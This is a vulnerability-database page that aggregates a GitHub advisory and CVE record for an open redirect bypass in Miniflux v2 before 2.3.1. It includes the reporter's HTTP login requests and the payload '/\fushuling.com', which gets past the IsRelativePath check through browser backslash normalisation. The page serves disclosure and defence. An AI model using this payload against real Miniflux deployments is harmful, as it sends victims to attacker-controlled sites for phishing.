Vulnerability-Lookup

GHSA-M999-J542-5W3R

Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16

Summary

Open Redirect Bypass in miniflux-v2

Details

Summary

The URL restrictions in miniflux-v2 can be bypassed by attackers, leading to an open redirect vulnerability.

Details

Normally, the redirect URL needs to be validated using IsRelativePath.

QQ20260526-175356-26-1

There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like //fushuling.com. However, these measures can still be bypassed.

QQ20260526-175836-26-2

For a proof-of-concept (PoC) like /\fushuling.com, it lacks host and netloc fields and doesn't start with //, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address https://fushuling.com, thus bypassing existing protections.

For PoCs like //fushuling.com, the existing logic successfully detects and resolves to /unread, effectively preventing attacks.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45
Connection: close

csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123

QQ20260526-180410-26-3

However, when the attacker specified the redirect URL as /\fushuling.com, the URL successfully bypassed the detection and set the location to /\fushuling.com.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5
Connection: close

csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123

QQ20260526-180606-26-4

In the actual browser redirection, the URL successfully redirected to https://fushuling.com, thus bypassing the restrictions and achieving an open redirect attack.

QQ20260526-180711-26-5

PoC

/\fushuling.com

Impact

Open Redirect

Severity

5.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "miniflux.app/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe URL restrictions in `miniflux-v2` can be bypassed by attackers, leading to an open redirect vulnerability.\n\n### Details\n\nNormally, the redirect URL needs to be validated using `IsRelativePath`.\n\n\u003cimg width=\"1728\" height=\"1386\" alt=\"QQ20260526-175356-26-1\" src=\"https://github.com/user-attachments/assets/b481845a-8744-41f7-b27a-526c7ac92e03\" /\u003e\n\nThere are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like `//fushuling.com`. However, these measures can still be bypassed.\n\n\u003cimg width=\"1911\" height=\"804\" alt=\"QQ20260526-175836-26-2\" src=\"https://github.com/user-attachments/assets/90353c7f-7247-4453-a781-159361de13d6\" /\u003e\n\nFor a proof-of-concept (PoC) like `/\\fushuling.com`, it lacks host and netloc fields and doesn\u0027t start with `//`, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address `https://fushuling.com`, thus bypassing existing protections.\n\nFor PoCs like `//fushuling.com`, the existing logic successfully detects and resolves to `/unread`, effectively preventing attacks.\n\n```\nPOST /login HTTP/1.1\nHost: 127.0.0.1:8081\nContent-Length: 92\nCache-Control: max-age=0\nsec-ch-ua: \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: null\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45\nConnection: close\n\ncsrf=CYJ2SHTG7AYLMFW6TMTLRR4K54\u0026redirect_url=//fushuling.com\u0026username=admin\u0026password=test123\n```\n\n\u003cimg width=\"1773\" height=\"894\" alt=\"QQ20260526-180410-26-3\" src=\"https://github.com/user-attachments/assets/19e532ad-e366-4eb8-a08e-7b1de02edc7b\" /\u003e\n\nHowever, when the attacker specified the redirect URL as `/\\fushuling.com`, the URL successfully bypassed the detection and set the location to /\\fushuling.com.\n\n```\nPOST /login HTTP/1.1\nHost: 127.0.0.1:8081\nContent-Length: 92\nCache-Control: max-age=0\nsec-ch-ua: \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: null\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5\nConnection: close\n\ncsrf=QC7PJNLRRDHSF6OZPXFVPKAXEO\u0026redirect_url=/\\fushuling.com\u0026username=admin\u0026password=test123\n```\n\u003cimg width=\"1629\" height=\"887\" alt=\"QQ20260526-180606-26-4\" src=\"https://github.com/user-attachments/assets/efe78aca-06ef-4369-83b7-0d7119ac2546\" /\u003e\n\nIn the actual browser redirection, the URL successfully redirected to `https://fushuling.com`, thus bypassing the restrictions and achieving an open redirect attack.\n\n\u003cimg width=\"1082\" height=\"621\" alt=\"QQ20260526-180711-26-5\" src=\"https://github.com/user-attachments/assets/0b486f09-8a9b-4d38-8350-d7ca5c51c253\" /\u003e\n\n\n### PoC\n```\n/\\fushuling.com\n```\n\n### Impact\nOpen Redirect",
  "id": "GHSA-m999-j542-5w3r",
  "modified": "2026-06-19T21:16:13Z",
  "published": "2026-06-19T21:16:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miniflux/v2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Open Redirect Bypass in miniflux-v2"
}

CVE-2026-55185 (GCVE-0-2026-55185)

Vulnerability from cvelistv5 – Published: 2026-08-21 20:19 – Updated: 2026-08-24 19:46

Title

Miniflux 2: Open Redirect Bypass

Summary

Miniflux 2 is an open source feed reader. Prior to 2.3.1, IsRelativePath in internal/urllib/url.go accepts redirect targets containing backslashes because Go URL parsing treats them as path characters. Browser backslash normalization converts them to forward slashes. An unauthenticated attacker can provide such a redirect_url value to the login flow, bypass the relative-path and host checks, and redirect a victim to an attacker-controlled external site. This issue is fixed in version 2.3.1.

Severity

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-24 19:46 UTC

CWE

CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/miniflux/v2/security/advisorie…	x_refsource_CONFIRM
https://github.com/miniflux/v2/pull/4362	x_refsource_MISC
https://github.com/miniflux/v2/commit/c896bafdaa1…	x_refsource_MISC
https://github.com/miniflux/v2/releases/tag/2.3.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
miniflux	v2	Affected: < 2.3.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55185",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-24T19:46:24.951438Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-24T19:46:50.850Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "v2",
          "vendor": "miniflux",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Miniflux 2 is an open source feed reader. Prior to 2.3.1, IsRelativePath in internal/urllib/url.go accepts redirect targets containing backslashes because Go URL parsing treats them as path characters. Browser backslash normalization converts them to forward slashes. An unauthenticated attacker can provide such a redirect_url value to the login flow, bypass the relative-path and host checks, and redirect a victim to an attacker-controlled external site. This issue is fixed in version 2.3.1."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-21T20:19:14.122Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r"
        },
        {
          "name": "https://github.com/miniflux/v2/pull/4362",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/miniflux/v2/pull/4362"
        },
        {
          "name": "https://github.com/miniflux/v2/commit/c896bafdaa19c3f280b02b1059f84706495f1949",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/miniflux/v2/commit/c896bafdaa19c3f280b02b1059f84706495f1949"
        },
        {
          "name": "https://github.com/miniflux/v2/releases/tag/2.3.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/miniflux/v2/releases/tag/2.3.1"
        }
      ],
      "source": {
        "advisory": "GHSA-m999-j542-5w3r",
        "discovery": "UNKNOWN"
      },
      "title": "Miniflux 2: Open Redirect Bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55185",
    "datePublished": "2026-08-21T20:19:14.122Z",
    "dateReserved": "2026-06-16T15:20:43.086Z",
    "dateUpdated": "2026-08-24T19:46:50.850Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-M999-J542-5W3R

Summary

Details

PoC

Impact

CVE-2026-55185 (GCVE-0-2026-55185)

Tags

Sightings

Nomenclature

Related by attack behaviour